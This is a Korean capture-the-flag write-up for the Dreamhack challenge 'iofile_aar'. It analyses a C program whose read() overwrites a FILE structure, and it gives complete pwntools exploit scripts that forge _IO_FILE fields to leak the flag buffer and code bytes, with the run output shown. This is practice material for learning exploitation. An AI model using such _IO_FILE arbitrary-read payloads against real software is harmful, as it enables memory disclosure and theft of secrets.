1. intro
2. code 및 분석
2.1 code
// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
2.2 분석
파일을 열어보면 여러 파일이 있는데, 실행파일 및 코드 파일 외에는 크게 신경쓰지는 않아도 될 것 같다.
물론 일반적이라면 (그럴리는 없겠지만) libc 파일에 따라 _IO_FILE 구조체의 형식이라던지 write 함수 호출 과정이 다를 수 있기에 확인할 필요는 있을 것 같다.
이 문제에서는 이를 무시하고 코드만 분석하자.
전역 변수로 flag_buf 변수를 선언한다.
read_flag 함수에서는 flag_buf 변수의 크기만큼 flag 파일을 읽어 flag_buf 변수에 저장한다.
main 함수에서는 read_flag 함수를 호출한 뒤, testfile을 열고, 300 byte의 데이터를 입력 받은 뒤 flag_buf 변수의 크기만큼 값을 쓴다.
3. 취약점 확인 및 공격 준비
3.1 취약점
취약점은 main 함수의 read 함수에서 발생하며, 파일 포인터에 300 byte 만큼의 값을 덮어씌울 수 있기에 _IO_FIULE 구조체를 조작할 수 있게 되며, 해당 구조체를 참조로 fwrite 함수를 실행한다.
조작 방법은 아래 링크 참조.
https://wyv3rn.tistory.com/110
3.2 공격 준비
위 링크를 토대로 공격을 준비하면 된다.
특별히 구해야 할 값은 없다.
4. exploit
링크를 토대로 페이로드를 작성해보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',18848)
#p = process('./iofile_aar')
e = ELF('./iofile_aar')
addr = e.symbols['flag_buf']
pay = b''
pay += p64(0xfbad0800) #flags
pay += p64(0) #read ptr
pay += p64(addr) #read end
pay += p64(0) #read base
pay += p64(addr) #write base
pay += p64(addr + 100) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(1) #fileno
p.sendlineafter('Data: ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18848: Done
[*] '/home/kali/Downloads/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
DH{----------#플래그는 삭제}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00EST FILE!\x00\x00tmp/testfile\x00ata: \x00\x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00J\xfe\xff\xff\xf0\x95\xfe\xff\xff\x10\x00@\xff\xff\xff0\x00\xb0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xb0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xb4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\x00\xfb\xff\xff\x80\x00\x\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0eB\x0eB\x0eB\x0eB\x0e\x00\x00\x00\x000\xfe\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
* 참고사항
이번에는 출력되는 주소를 전역변수의 주소로 설정하였는데 만일 main과 같은 함수의 주소로 변경하면 어떻게 될까?
그 결과는 아래와 같이 함수의 주소 leak이 가능함을 알 수 있다.
from pwn import *
p = remote('host3.dreamhack.games',18848)
#p = process('./iofile_aar')
e = ELF('./iofile_aar')
addr = e.symbols['main']
pay = b''
pay += p64(0xfbad0800) #flags
pay += p64(0) #read ptr
pay += p64(addr) #read end
pay += p64(0) #read base
pay += p64(addr) #write base
pay += p64(addr + 8) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(1) #fileno
p.sendlineafter('Data: ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18848: Done
[*] '/home/kali/Downloads/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
UH\x89\xe5H\x83\xecTEST FILE!\x00\x00tmp/testfile\x00ata: \x00\x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00J\xfe\xff\xff\xf0\x95\xfe\xff\xff\x10\x00@\xff\xff\xff0\x00\xb0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xb0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xb4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\x00\xfb\xff\xff\x8\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0eB\x0eB\x0eB\x0eB\x0e\x00\x00\x00\x000\xfe\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
더불어 main 함수 주소 이후 TEST FILE! 문자열과 함께 그 경로가 출력되었는데, gdb로 값들을 찾아보면 해당 내용은 코드 영역임을 알 수 있다.
'Wargame > Dreamhack' 카테고리의 다른 글
Bypass IO_validate_vtable (0) | 2022.08.17 |
---|---|
_IO_FILE Arbitrary Address Write (0) | 2022.08.16 |
send_sig (0) | 2022.08.16 |
SigReturn-Oriented Programming (0) | 2022.08.15 |
rtld (0) | 2022.08.15 |